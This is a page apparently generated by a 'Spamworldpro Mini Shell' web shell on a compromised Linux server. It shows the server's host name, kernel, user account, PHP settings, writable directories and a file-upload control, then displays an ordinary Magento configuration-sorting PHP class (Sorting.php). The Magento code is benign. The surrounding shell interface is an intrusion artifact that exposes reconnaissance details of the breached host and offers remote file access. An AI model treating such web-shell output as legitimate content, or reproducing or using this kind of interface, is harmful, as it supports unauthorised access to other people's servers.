Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/vendor/magento/module-config/Model/Config/Structure/Mapper/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/corals/old/vendor/magento/module-config/Model/Config/Structure/Mapper/Sorting.php
<?php
/**
 * Copyright © Magento, Inc. All rights reserved.
 * See COPYING.txt for license details.
 */

/**
 * System Configuration Sorting Mapper
 */
namespace Magento\Config\Model\Config\Structure\Mapper;

/**
 * Sorting mapper
 *
 * @api
 * @since 100.0.2
 */
class Sorting extends \Magento\Config\Model\Config\Structure\AbstractMapper
{
    /**
     * Apply map
     *
     * @param array $data
     * @return array
     */
    public function map(array $data)
    {
        foreach ($data['config']['system'] as &$element) {
            $element = $this->_processConfig($element);
        }
        return $data;
    }

    /**
     * Process config
     *
     * @param array $data
     * @return array
     */
    protected function _processConfig($data)
    {
        foreach ($data as &$item) {
            if ($this->_hasValue('children', $item)) {
                $item['children'] = $this->_processConfig($item['children']);
            }
        }
        uasort($data, [$this, '_cmp']);
        return $data;
    }

    /**
     * Compare elements
     *
     * @param array $elementA
     * @param array $elementB
     * @return int
     */
    protected function _cmp($elementA, $elementB)
    {
        $sortIndexA = 0;
        if ($this->_hasValue('sortOrder', $elementA)) {
            $sortIndexA = (float)$elementA['sortOrder'];
        }
        $sortIndexB = 0;
        if ($this->_hasValue('sortOrder', $elementB)) {
            $sortIndexB = (float)$elementB['sortOrder'];
        }

        return $sortIndexA <=> $sortIndexB;
    }
}

Spamworldpro Mini